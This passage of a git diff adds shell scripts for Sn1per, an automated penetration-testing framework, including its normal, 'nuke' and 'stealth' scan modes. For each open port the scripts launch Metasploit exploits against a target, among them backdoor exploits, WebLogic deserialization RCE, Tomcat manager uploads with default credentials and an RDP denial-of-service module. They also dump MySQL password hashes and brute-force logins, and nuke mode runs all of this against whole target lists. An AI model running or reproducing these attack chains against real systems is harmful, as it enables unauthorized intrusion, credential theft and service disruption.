$TARGET + msfconsole -x "setg PORT 2121; use exploit/unix/ftp/vsftpd_234_backdoor; setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; run; use unix/ftp/proftpd_133c_backdoor; run; exit;" +fi + +if [ -z "$port_3306" ]; +then + echo -e "$OKRED + -- --=[Port 3306 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 3306 opened... running tests...$RESET" + nmap -A -sV -Pn --script=mysql* -p 3306 $TARGET + msfconsole -x "use auxiliary/scanner/mssql/mssql_ping; setg RHOSTS \"$TARGET\"; run; back; exit;" + mysql -u root -h $TARGET -e 'SHOW DATABASES; SELECT Host,User,Password FROM mysql.user;' +fi + +if [ -z "$port_3310" ]; +then + echo -e "$OKRED + -- --=[Port 3310 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 3310 opened... running tests...$RESET" + nmap -A -p 3310 -Pn -T5 -sV --script clamav-exec $TARGET +fi + +if [ -z "$port_3128" ]; +then + echo -e "$OKRED + -- --=[Port 3128 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 3128 opened... running tests...$RESET" + nmap -A -p 3128 -Pn -T5 -sV --script=*proxy* $TARGET +fi + +if [ -z "$port_3389" ]; +then + echo -e "$OKRED + -- --=[Port 3389 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 3389 opened... running tests...$RESET" + nmap -A -sV -Pn -T5 --script=rdp-* -p 3389 $TARGET + msfconsole -x "use auxiliary/scanner/rdp/ms12_020_check; setg RHOSTS \"$TARGET\"; run; use auxiliary/dos/windows/rdp/ms12_020_maxchannelids; run; back; exit;" + rdesktop $TARGET & +fi + +if [ -z "$port_3632" ]; +then + echo -e "$OKRED + -- --=[Port 3632 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 3632 opened... running tests...$RESET" + nmap -A -sV -Pn -T5 --script=distcc-* -p 3632 $TARGET + msfconsole -x "setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; use unix/misc/distcc_exec; run; exit;" +fi + +if [ -z "$port_4443" ]; +then + echo -e "$OKRED + -- --=[Port 4443 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 4443 opened... running tests...$RESET" + wafw00f http://$TARGET:4443 + echo "" + whatweb -a 3 http://$TARGET:4443 + echo "" + sslscan --no-failed $TARGET:4443 + sslyze --resum --certinfo=basic --compression --reneg --sslv2 --sslv3 --hide_rejected_ciphers $TARGET:4443 + if [ "$NIKTO" = "1" ]; then + nikto -h https://$TARGET:4443 -output $LOOT_DIR/web/nikto-$TARGET-https-4443.txt + fi + if [ ${DISTRO} == "blackarch" ]; then + /bin/CutyCapt --url=https://$TARGET:4443 --out=$LOOT_DIR/screenshots/$TARGET-port4443.jpg --insecure --max-wait=1000 2> /dev/null + else + cutycapt --url=https://$TARGET:4443 --out=$LOOT_DIR/screenshots/$TARGET-port4443.jpg --insecure --max-wait=1000 2> /dev/null + fi + nmap -sV -Pn -A -p 4443 -T5 --script=*proxy* $TARGET +fi + +if [ -z "$port_5432" ]; +then + echo -e "$OKRED + -- --=[Port 5432 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 5432 opened... running tests...$RESET" + nmap -A -sV -Pn --script=pgsql-brute -p 5432 $TARGET + msfconsole -x "use auxiliary/scanner/postgres/postgres_login; setg RHOSTS "$TARGET"; run; exit;" +fi + +if [ -z "$port_5555" ]; +then + echo -e "$OKRED + -- --=[Port 5555 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 5555 opened... running tests...$RESET" + adb connect $TARGET:5555 + adb shell pm list packages +fi + +if [ -z "$port_5800" ]; +then + echo -e "$OKRED + -- --=[Port 5800 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 5800 opened... running tests...$RESET" + nmap -A -sV -Pn -T5 --script=vnc* -p 5800 $TARGET +fi + +if [ -z "$port_5900" ]; +then + echo -e "$OKRED + -- --=[Port 5900 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 5900 opened... running tests...$RESET" + nmap -A -sV -T5 --script=vnc* -p 5900 $TARGET + msfconsole -x "use auxiliary/scanner/vnc/vnc_none_auth; setg RHOSTS \"$TARGET\"; run; back; exit;" +fi + +if [ -z "$port_5984" ]; +then + echo -e "$OKRED + -- --=[Port 5984 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 5984 opened... running tests...$RESET" + nmap -A -sV -Pn -T5 --script=couchdb* -p 5984 $TARGET + msfconsole -x "use auxiliary/scanner/couchdb/couchdb_enum; set RHOST "$TARGET"; run; exit;" +fi + +if [ -z "$port_6000" ]; +then + echo -e "$OKRED + -- --=[Port 6000 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 6000 opened... running tests...$RESET" + nmap -A -sV -Pn -T5 --script=x11* -p 6000 $TARGET + msfconsole -x "use auxiliary/scanner/x11/open_x11; set RHOSTS "$TARGET"; exploit;" +fi + +if [ -z "$port_6667" ]; +then + echo -e "$OKRED + -- --=[Port 6667 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 6667 opened... running tests...$RESET" + nmap -A -sV -Pn -T5 --script=irc* -p 6667 $TARGET + msfconsole -x "use unix/irc/unreal_ircd_3281_backdoor; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; run; exit;" +fi + +if [ -z "$port_7001" ]; +then + echo -e "$OKRED + -- --=[Port 7001 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 7001 opened... running tests...$RESET" + msfconsole -x "use multi/http/oracle_weblogic_wsat_deserialization_rce; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; run; exit;" +fi + +if [ -z "$port_8000" ]; +then + echo -e "$OKRED + -- --=[Port 8000 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 8000 opened... running tests...$RESET" + wafw00f http://$TARGET:8000 + echo "" + whatweb -a 3 http://$TARGET:8000 + echo "" + if [ ${DISTRO} == "blackarch" ]; then + /bin/CutyCapt --url=http://$TARGET:8000 --out=$LOOT_DIR/screenshots/$TARGET-port8000.jpg --insecure --max-wait=1000 2> /dev/null + else + cutycapt --url=http://$TARGET:8000 --out=$LOOT_DIR/screenshots/$TARGET-port8000.jpg --insecure --max-wait=1000 2> /dev/null + fi + nmap -sV -Pn --script=/usr/share/nmap/scripts/http-vuln-cve2017-5638.nse -A -p 8000 -T5 $TARGET + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING JEXBOSS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + cd /tmp/ + python /usr/share/sniper/plugins/jexboss/jexboss.py -u http://$TARGET:8000 + cd $INSTALL_DIR +fi + +if [ -z "$port_8100" ]; +then + echo -e "$OKRED + -- --=[Port 8100 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 8100 opened... running tests...$RESET" + wafw00f http://$TARGET:8100 + echo "" + whatweb -a 3 http://$TARGET:8100 + echo "" + sslscan --no-failed $TARGET:8100 + if [ ${DISTRO} == "blackarch" ]; then + /bin/CutyCapt --url=http://$TARGET:8100 --out=$LOOT_DIR/screenshots/$TARGET-port8100.jpg --insecure --max-wait=1000 2> /dev/null + else + cutycapt --url=http://$TARGET:8100 --out=$LOOT_DIR/screenshots/$TARGET-port8100.jpg --insecure --max-wait=1000 2> /dev/null + fi + nmap -sV -Pn --script=/usr/share/nmap/scripts/http-vuln-cve2017-5638.nse -A -p 8100 -T5 $TARGET + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING JEXBOSS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + cd /tmp/ + python /usr/share/sniper/plugins/jexboss/jexboss.py -u http://$TARGET:8100 + cd $INSTALL_DIR +fi + +if [ -z "$port_8080" ]; +then + echo -e "$OKRED + -- --=[Port 8080 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 8080 opened... running tests...$RESET" + wafw00f http://$TARGET:8080 + echo "" + whatweb -a 3 http://$TARGET:8080 + echo "" + sslscan --no-failed $TARGET:8080 + if [ ${DISTRO} == "blackarch" ]; then + /bin/CutyCapt --url=http://$TARGET:8080 --out=$LOOT_DIR/screenshots/$TARGET-port8080.jpg --insecure --max-wait=1000 2> /dev/null + else + cutycapt --url=http://$TARGET:8080 --out=$LOOT_DIR/screenshots/$TARGET-port8080.jpg --insecure --max-wait=1000 2> /dev/null + fi + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING APACHE STRUTS CVE-2017-5638 VULN SCAN $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + nmap -sV -Pn --script=/usr/share/nmap/scripts/http-vuln-cve2017-5638.nse -A -p 8080 -T5 $TARGET + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING APACHE STRUTS 2 REST PLUGIN XSTREAM RCE VULN CHECK $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "${OKBLUE}[*] If you see a 200 response code below, try running 'msfconsole -x \"multi/http/struts2_rest_xstream; set RHOST \"$TARGET\"; exploit -j; exit;" + curl -I http://$TARGET:8080/struts2-rest-showcase/orders/3 -s | grep HTTP | grep 200 + curl -I http://$TARGET:8080/struts2-showcase/integration/saveGangster.action -s | grep HTTP | grep 200 + echo -e "$OKRED RUNNING APACHE STRUTS JAKARTA RCE VULN CHECK $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "${OKBLUE}[*] If you see a 200 response code below, try running 'msfconsole -x \"multi/http/struts2_content_type_ognl; set RHOST \"$TARGET\"; exploit -j; exit;" + curl -I http://$TARGET:8080/struts2-showcase/ -s | grep HTTP | grep 200 + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING APACHE TOMCAT EXPLOITS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + msfconsole -x "setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; use admin/http/jboss_bshdeployer; run; use auxiliary/scanner/http/jboss_status; run; use admin/http/tomcat_administration; setg RPORT 8080; run; use admin/http/tomcat_utf8_traversal; run; use scanner/http/tomcat_enum; run; use scanner/http/tomcat_mgr_login; run; use multi/http/tomcat_mgr_deploy; run; use multi/http/tomcat_mgr_upload; set USERNAME tomcat; set PASSWORD tomcat; run; exit;" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING WILDFLY TRAVERSAL EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + msfconsole -q -x "use auxiliary/scanner/http/wildfly_traversal; setg RHOSTS "$TARGET"; set RPORT 8080; run; back; exit;" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING JEXBOSS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + cd /tmp/ + python /usr/share/sniper/plugins/jexboss/jexboss.py -u http://$TARGET:8080 + cd $INSTALL_DIR +fi + +if [ -z "$port_8180" ]; +then + echo -e "$OKRED + -- --=[Port 8180 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 8180 opened... running tests...$RESET" + wafw00f http://$TARGET:8180 + echo "" + whatweb -a 3 http://$TARGET:8180 + echo "" + sslscan --no-failed $TARGET:8180 + sslyze --resum --certinfo=basic --compression --reneg --sslv2 --sslv3 --hide_rejected_ciphers $TARGET:8180 + if [ ${DISTRO} == "blackarch" ]; then + /bin/CutyCapt --url=http://$TARGET:8180 --out=$LOOT_DIR/screenshots/$TARGET-port8180.jpg --insecure --max-wait=1000 2> /dev/null + else + cutycapt --url=http://$TARGET:8180 --out=$LOOT_DIR/screenshots/$TARGET-port8180.jpg --insecure --max-wait=1000 2> /dev/null + fi + nmap -sV -Pn --script=/usr/share/nmap/scripts/http-vuln-cve2017-5638.nse -p 8180 -T5 --script=*proxy* $TARGET + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING WEBMIN FILE DISCLOSURE EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + msfconsole -x "use auxiliary/admin/webmin/file_disclosure; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; run; exit;" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNING APACHE TOMCAT EXPLOITS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + msfconsole -x "use admin/http/tomcat_administration; setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; setg RPORT 8180; run; use admin/http/tomcat_utf8_traversal; run; use scanner/http/tomcat_enum; run; use scanner/http/tomcat_mgr_login; run; use multi/http/tomcat_mgr_deploy; run; use multi/http/tomcat_mgr_upload; set USERNAME tomcat; set PASSWORD tomcat; run; exit;" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING JEXBOSS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + cd /tmp/ + python /usr/share/sniper/plugins/jexboss/jexboss.py -u http://$TARGET:8180 + cd $INSTALL_DIR +fi + +if [ -z "$port_8443" ]; +then + echo -e "$OKRED + -- --=[Port 8443 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 8443 opened... running tests...$RESET" + wafw00f http://$TARGET:8443 + echo "" + whatweb -a 3 http://$TARGET:8443 + echo "" + sslscan --no-failed $TARGET:8443 + sslyze --resum --certinfo=basic --compression --reneg --sslv2 --sslv3 --hide_rejected_ciphers $TARGET:8443 + if [ ${DISTRO} == "blackarch" ]; then + /bin/CutyCapt --url=https://$TARGET:8443 --out=$LOOT_DIR/screenshots/$TARGET-port8443.jpg --insecure --max-wait=1000 2> /dev/null + else + cutycapt --url=https://$TARGET:8443 --out=$LOOT_DIR/screenshots/$TARGET-port8443.jpg --insecure --max-wait=1000 2> /dev/null + fi + nmap -sV -Pn --script=/usr/share/nmap/scripts/http-vuln-cve2017-5638.nse -A -p 8443 -T5 --script=*proxy* $TARGET + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING JEXBOSS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + cd /tmp/ + python /usr/share/sniper/plugins/jexboss/jexboss.py -u https://$TARGET:8443 + cd $INSTALL_DIR +fi + +if [ -z "$port_8888" ]; +then + echo -e "$OKRED + -- --=[Port 8888 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 8888 opened... running tests...$RESET" + wafw00f http://$TARGET:8888 + echo "" + whatweb -a 3 http://$TARGET:8888 + echo "" + if [ ${DISTRO} == "blackarch" ]; then + /bin/CutyCapt --url=https://$TARGET:8888 --out=$LOOT_DIR/screenshots/$TARGET-port8888.jpg --insecure --max-wait=1000 2> /dev/null + else + cutycapt --url=https://$TARGET:8888 --out=$LOOT_DIR/screenshots/$TARGET-port8888.jpg --insecure --max-wait=1000 2> /dev/null + fi + nmap -sV -Pn --script=/usr/share/nmap/scripts/http-vuln-cve2017-5638.nse -A -p 8888 -T5 $TARGET + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING JEXBOSS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + cd /tmp/ + python /usr/share/sniper/plugins/jexboss/jexboss.py -u http://$TARGET:8888 + cd $INSTALL_DIR +fi + +if [ -z "$port_10000" ]; +then + echo -e "$OKRED + -- --=[Port 10000 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 10000 opened... running tests...$RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING WEBMIN FILE DISCLOSURE EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + msfconsole -x "use auxiliary/admin/webmin/file_disclosure; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; run; exit;" +fi + +if [ -z "$port_16992" ]; +then + echo -e "$OKRED + -- --=[Port 16992 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 16992 opened... running tests...$RESET" + amap $TARGET 16992 -A + nmap -A -sV -Pn -T5 --script=/usr/share/nmap/scripts/http-vuln-INTEL-SA-00075.nse -p 16992 $TARGET + msfconsole -x "use auxiliary/scanner/http/intel_amt_digest_bypass; setg RHOSTS \"$TARGET\"; run; back; exit;" +fi + +if [ -z "$port_27017" ]; +then + echo -e "$OKRED + -- --=[Port 27017 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 27017 opened... running tests...$RESET" + nmap -sV -p 27017 -Pn -T5 --script=mongodb* $TARGET +fi + +if [ -z "$port_27018" ]; +then + echo -e "$OKRED + -- --=[Port 27018 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 27018 opened... running tests...$RESET" + nmap -sV -p 27018 -Pn -T5 --script=mongodb* $TARGET +fi + +if [ -z "$port_27019" ]; +then + echo -e "$OKRED + -- --=[Port 27019 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 27019 opened... running tests...$RESET" + nmap -sV -p 27019 -Pn -T5 --script=mongodb* $TARGET +fi + +if [ -z "$port_28017" ]; +then + echo -e "$OKRED + -- --=[Port 28017 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 28017 opened... running tests...$RESET" + nmap -sV -p 28017 -Pn -T5 --script=mongodb* $TARGET +fi + +echo -e "${OKGREEN}====================================================================================${RESET}" +echo -e "$OKRED SCANNING FOR COMMON VULNERABILITIES $RESET" +echo -e "${OKGREEN}====================================================================================${RESET}" +if [ ${DISTRO} == "blackarch" ]; then + /bin/yasuo -r $TARGET -b all +else + cd $PLUGINS_DIR/yasuo + ruby yasuo.rb -r $TARGET -b all +fi + +cd $SNIPER_DIR + +if [ "$FULLNMAPSCAN" = "0" ]; then + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED SKIPPING FULL NMAP PORT SCAN $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" +else + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING FULL PORT SCAN $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)" $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET.xml +fi + +if [ "$AUTOBRUTE" = "0" ]; then + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED SKIPPING BRUTE FORCE $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" +else + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING BRUTE FORCE $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + brutex $TARGET + cd $INSTALL_DIR + rm -f hydra.restore + rm -f scan.log + echo "" +fi + +rm -f $LOOT_DIR/.fuse_* 2> /dev/null + +echo -e "${OKGREEN}====================================================================================${RESET}" +echo -e "$OKRED SCAN COMPLETE! $RESET" +echo -e "${OKGREEN}====================================================================================${RESET}" + +if [ "$LOOT" = "1" ] && [ -z "$NOLOOT" ]; then + loot +fi \ No newline at end of file diff --git a/modes/nuke.sh b/modes/nuke.sh new file mode 100644 index 0000000..dc48663 --- /dev/null +++ b/modes/nuke.sh @@ -0,0 +1,56 @@ +# NUKE MODE ##################################################################################################### +if [ "$MODE" = "nuke" ]; then + if [ -z "$FILE" ]; then + logo + echo "You need to specify a list of targets (ie. -f ) to scan." + exit + fi + if [ "$REPORT" = "1" ]; then + for a in `cat $FILE`; + do + if [ ! -z "$WORKSPACE" ]; then + args="$args -b -re -o -fp -w $WORKSPACE" + WORKSPACE_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE + echo -e "$OKBLUE[*] Saving loot to $WORKSPACE_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET" + mkdir -p $WORKSPACE_DIR 2> /dev/null + mkdir $WORKSPACE_DIR/domains 2> /dev/null + mkdir $WORKSPACE_DIR/screenshots 2> /dev/null + mkdir $WORKSPACE_DIR/nmap 2> /dev/null + mkdir $WORKSPACE_DIR/notes 2> /dev/null + mkdir $WORKSPACE_DIR/reports 2> /dev/null + mkdir $WORKSPACE_DIR/output 2> /dev/null + fi + args="$args --noreport --noloot" + TARGET="$a" + args="$args -t $TARGET" + echo -e "$OKRED " + echo -e "$OKRED ____" + echo -e "$OKRED __,-~~/~ \`---." + echo -e "$OKRED _/_,---( , )" + echo -e "$OKRED __ / < / ) \___" + echo -e "$OKRED - ------===;;;'====------------------===;;;===----- - -" + echo -e "$OKRED \/ ~'~'~'~'~'~\~'~)~'/" + echo -e "$OKRED (_ ( \ ( > \)" + echo -e "$OKRED \_( _ < >_>'" + echo -e "$OKRED ~ \`-i' ::>|--\"" + echo -e "$OKRED I;|.|.|" + echo -e "$OKRED <|i::|i|\`." + echo -e "$OKRED (\` ^''\`-' ')" + echo -e "$OKRED --------------------------------------------------------- $RESET" + echo -e "$OKORANGE + -- --=[WARNING! Nuking ALL target! $RESET" + echo -e "$RESET" + if [ ! -z "$WORKSPACE_DIR" ]; then + echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt + sniper $args | tee $WORKSPACE_DIR/output/sniper-$TARGET-$MODE-`date +%Y%m%d%H%M`.txt 2>&1 + else + echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt + sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +%Y%m%d%H%M`.txt 2>&1 + fi + args="" + done + fi + if [ "$LOOT" = "1" ]; then + loot + fi + exit +fi \ No newline at end of file diff --git a/modes/stealth.sh b/modes/stealth.sh new file mode 100644 index 0000000..a0b015a --- /dev/null +++ b/modes/stealth.sh @@ -0,0 +1,339 @@ +# STEALTH MODE ##################################################################################################### +if [ "$MODE" = "stealth" ]; then + if [ "$REPORT" = "1" ]; then + args="-t $TARGET" + if [ "$OSINT" = "1" ]; then + args="$args -o" + fi + if [ "$AUTOBRUTE" = "1" ]; then + args="$args -b" + fi + if [ "$FULLNMAPSCAN" = "1" ]; then + args="$args -fp" + fi + if [ "$GOOHAK" = "1" ]; then + args="$args -g" + fi + if [ "$RECON" = "1" ]; then + args="$args -re" + fi + if [ ! -z "$WORKSPACE" ]; then + args="$args -w $WORKSPACE" + LOOT_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE + echo -e "$OKBLUE[*] Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET" + mkdir -p $LOOT_DIR 2> /dev/null + mkdir $LOOT_DIR/domains 2> /dev/null + mkdir $LOOT_DIR/screenshots 2> /dev/null + mkdir $LOOT_DIR/nmap 2> /dev/null + mkdir $LOOT_DIR/notes 2> /dev/null + mkdir $LOOT_DIR/reports 2> /dev/null + mkdir $LOOT_DIR/scans 2> /dev/null + mkdir $LOOT_DIR/output 2> /dev/null + fi + args="$args --noreport -m stealth" + echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt + sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +%Y%m%d%H%M`.txt 2>&1 + exit + fi + echo -e "$OKRED ____ $RESET" + echo -e "$OKRED _________ / _/___ ___ _____$RESET" + echo -e "$OKRED / ___/ __ \ / // __ \/ _ \/ ___/$RESET" + echo -e "$OKRED (__ ) / / // // /_/ / __/ / $RESET" + echo -e "$OKRED /____/_/ /_/___/ .___/\___/_/ $RESET" + echo -e "$OKRED /_/ $RESET" + echo -e "$RESET" + echo -e "$OKORANGE + -- --=[http://xerosecurity.com" + echo -e "$OKORANGE + -- --=[sniper v$VER by 1N3" + echo -e "$OKRED " + echo -e "$OKRED ./\." + echo -e "$OKRED ./ '\." + echo -e "$OKRED \. '\." + echo -e "$OKRED '\. '\." + echo -e "$OKRED '\. '\." + echo -e "$OKRED '\. '\." + echo -e "$OKRED ./ '\." + echo -e "$OKRED ./ ____'\." + echo -e "$OKRED ./ < '\." + echo -e "$OKRED \-------\ '> '\." + echo -e "$OKRED '\=====> ___< '\." + echo -e "$OKRED ./-----/ __________'\." + echo -e "$OKRED "' \.------\ _____ ___(_)(_\."\' + echo -e "$OKRED '\=====> < ./'" + echo -e "$OKRED ./-----/ '> ./" + echo -e "$OKRED \. ___< ./" + echo -e "$OKRED '\. ./" + echo -e "$OKRED '\. ./" + echo -e "$OKRED '\. ./" + echo -e "$OKRED ./ ./" + echo -e "$OKRED ./ ./ Carl Pilcher" + echo -e "$OKRED ./ ./" + echo -e "$OKRED ./ ./" + echo -e "$OKRED ./ ./" + echo -e "$OKRED \. ./" + echo -e "$OKRED '\. ./" + echo -e "$OKRED '\/" + echo -e "$RESET" + echo -e "$OKORANGE + -- --=[Launching stealth scan: $TARGET $RESET" + echo -e "$OKGREEN $RESET" + + echo "$TARGET" >> $LOOT_DIR/domains/targets.txt + + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED GATHERING DNS INFO $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + dig all +short $TARGET > $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null + dig all +short -x $TARGET >> $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null + dnsenum $TARGET 2> /dev/null + mv -f *_ips.txt $LOOT_DIR/domains/ 2>/dev/null + + if [ $SCAN_TYPE == "DOMAIN" ]; + then + if [ "$OSINT" = "1" ]; then + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED GATHERING OSINT INFO $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + theharvester -d $TARGET -l 25 -b all 2> /dev/null + metagoofil -d $TARGET -t doc,pdf,xls,csv,txt -l 25 -n 25 -o $LOOT_DIR/osint/ -f $LOOT_DIR/osint/$TARGET.html + fi + + if [ "$RECON" = "1" ]; then + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED GATHERING WHOIS INFO $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + whois $TARGET + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED GATHERING DNS SUBDOMAINS VIA SUBLIST3R $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + if [ "$SUBLIST3R" = "1" ]; then + python $PLUGINS_DIR/Sublist3r/sublist3r.py -d $TARGET -vvv -o $LOOT_DIR/domains/domains-$TARGET.txt 2>/dev/null + fi + if [ "$AMASS" = "1" ]; then + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED GATHERING DNS SUBDOMAINS VIA AMASS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + amass -whois -ip -brute -o $LOOT_DIR/domains/domains-$TARGET-amass.txt -min-for-recursive 3 -d $TARGET 2>/dev/null + cut -d, -f1 $LOOT_DIR/domains/domains-$TARGET-amass.txt | grep $TARGET > $LOOT_DIR/domains/domains-$TARGET-amass-sorted.txt + cut -d, -f2 $LOOT_DIR/domains/domains-$TARGET-amass.txt > $LOOT_DIR/domains/domains-$TARGET-amass-ips-sorted.txt + fi + if [ "$SUBFINDER" = "1" ]; then + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED GATHERING DNS SUBDOMAINS VIA SUBFINDER $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + subfinder -o $LOOT_DIR/domains/domains-$TARGET-subfinder.txt -b -d $TARGET 2>/dev/null + fi + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED BRUTE FORCING DNS SUBDOMAINS VIA DNSCAN (THIS COULD TAKE A WHILE...) $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + if [ "$DNSCAN" = "1" ]; then + python /pentest/recon/dnscan/dnscan.py -d $TARGET -w $DOMAINS_FULL -o $LOOT_DIR/domains/domains-dnscan-$TARGET.txt -i $LOOT_DIR/domains/domains-ips-$TARGET.txt + cat $LOOT_DIR/domains/domains-dnscan-$TARGET.txt | grep $TARGET| awk '{print $3}' | sort -u >> $LOOT_DIR/domains/domains-$TARGET.txt 2> /dev/null + dos2unix $LOOT_DIR/domains/domains-$TARGET.txt 2>/dev/null + fi + echo "" + if [ "$CRTSH" = "1" ]; then + echo -e "$OKRED ╔═╗╦═╗╔╦╗╔═╗╦ ╦$RESET" + echo -e "$OKRED ║ ╠╦╝ ║ ╚═╗╠═╣$RESET" + echo -e "$OKRED ╚═╝╩╚═ ╩o╚═╝╩ ╩$RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED GATHERING CERTIFICATE SUBDOMAINS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKBLUE" + curl -s https://crt.sh/?q=%25.$TARGET > /tmp/curl.out && cat /tmp/curl.out | grep $TARGET | grep TD | sed -e 's///g' | sed -e 's/TD//g' | sed -e 's/\///g' | sed -e 's/ //g' | sed -n '1!p' | sort -u > $LOOT_DIR/domains/domains-$TARGET-crt.txt && cat $LOOT_DIR/domains/domains-$TARGET-crt.txt + echo "" + echo -e "${OKRED}[+] Domains saved to: $LOOT_DIR/domains/domains-$TARGET-full.txt" + fi + cat $LOOT_DIR/domains/domains-$TARGET-crt.txt > /tmp/curl.out 2> /dev/null + cat $LOOT_DIR/domains/domains-$TARGET.txt >> /tmp/curl.out 2> /dev/null + cat $LOOT_DIR/domains/domains-$TARGET-amass-sorted.txt >> /tmp/curl.out 2> /dev/null + cat $LOOT_DIR/domains/domains-$TARGET-subfinder.txt >> /tmp/curl.out 2> /dev/null + cat $LOOT_DIR/domains/targets.txt >> /tmp/curl.out 2> /dev/null + sort -u /tmp/curl.out > $LOOT_DIR/domains/domains-$TARGET-full.txt + rm -f 